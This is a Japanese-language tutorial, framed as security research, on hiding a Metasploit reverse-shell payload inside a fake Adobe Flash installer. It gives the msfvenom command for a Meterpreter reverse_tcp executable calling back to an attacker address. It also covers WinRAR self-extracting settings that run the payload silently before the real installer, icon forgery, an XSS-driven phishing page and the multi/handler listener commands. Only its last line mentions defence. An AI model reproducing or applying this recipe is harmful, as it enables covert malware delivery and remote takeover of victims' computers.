セキュリティリサーチの文脈において、ユーザーを欺いて悪意のあるプログラムを実行させるソーシャルエンジニアリングは、依然として強力な攻撃ベクトルである。本稿では、Metasploit Framework(MSF)を使用して生成したペイロードを、正規のインストーラーと組み合わせる(バインドする)ことで、検知を回避しつつ実行させる手法について、技術的な観点から解説する。
1. 検証環境の構成
本シナリオでは、以下の環境を想定する。
- 攻撃側(Kali Linux): IPアドレス 192.168.242.4。ペイロードの生成およびリスナーの待機を行う。
- ターゲット側(Windows 7/10): IPアドレス 192.168.242.5。フィッシングサイトを通じて配布ファイルを実行する環境。
2. ペイロードの生成
まず、msfvenomツールを使用して、ターゲットOSに適合するリバースシェル・ペイロードを作成する。
# Kali Linux上で実行
msfvenom -p windows/meterpreter/reverse_tcp \
LHOST=192.168.242.4 \
LPORT=8888 \
-f exe > agent.exe
このコマンドにより、192.168.242.4のポート8888へ接続を試みる実行ファイル(agent.exe)が生成される。
3. フィッシングページの準備
攻撃者は、XSS脆弱性を利用してユーザーを偽のダウンロードページへリダイレクトさせる。このページは、Adobe Flash Playerの公式サイト(flash.cn等)を模倣して作成される。GitHubなどで公開されているオープンソースのフィッシングテンプレートを使用し、ダウンロードリンクを後に作成する「偽装済みインストーラー」に書き換えることで準備を整える。
4. ファイルのバインドと自己解凍形式(SFX)の作成
正規のインストーラー(例:flash_installer.exe)と、先ほど生成した悪意のあるファイル(agent.exe)を一つのファイルにまとめる。ここでは、WinRARなどのアーカイバが持つ「自己解凍形式(SFX)」機能を悪用する。
- 両方のファイルを選択し、WinRARで「書庫形式をSFXにする」にチェックを入れる。
- 「詳細」タブから「SFXオプション」を開き、以下の設定を行う。
- 解凍パス:
C:\Windows\Temp(ユーザーに気づかれにくい一時ディレクトリ)。 - 実行コマンド(解凍前):
C:\Windows\Temp\agent.exe(ペイロードを先にバックグラウンドで実行)。 - 実行コマンド(解凍後):
C:\Windows\Temp\flash_installer.exe(正規のインストール画面を表示させ、不審感を抱かせないようにする)。 - 「モード」タブで「すべてを非表示」を選択し、実行時のダイアログを抑制する。
5. リソースエディタによるアイコンの偽装
生成されたSFXファイルはデフォルトのアイコンになっているため、不自然である。RestoratorやResource Hackerなどのリソース編集ツールを使用して、正規のインストーラーからアイコン(ICOファイル)を抽出し、作成したSFXファイルに適用する。これにより、見た目上は正規のFlashインストーラーと区別がつかなくなる。
6. メタスプロイトによる待機状態の構築
ターゲットがファイルを実行した際の接続を受け取るため、MSFでハンドラーを起動する。
msfconsole
msf6 > use exploit/multi/handler
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_tcp
msf6 exploit(multi/handler) > set LHOST 192.168.242.4
msf6 exploit(multi/handler) > set LPORT 8888
msf6 exploit(multi/handler) > run
[*] Started reverse TCP handler on 192.168.242.4:8888 と表示されれば、待機状態となる。
7. 実行とセッションの確立
ユーザーがフィッシングサイトから偽装ファイルをダウンロードし、実行すると、表面上は正規のFlash Playerのインストールが開始される。しかし、その裏でバックドア(agent.exe)が実行され、攻撃者のMSFコンソールにMeterpreterセッションが確立される。これにより、攻撃者はターゲットのシステムに対してリモート操作が可能となる。
このような攻撃を防ぐためには、信頼できないソースからのソフトウェアダウンロードを避けること、およびファイルのデジタル署名を確認することが不可欠である。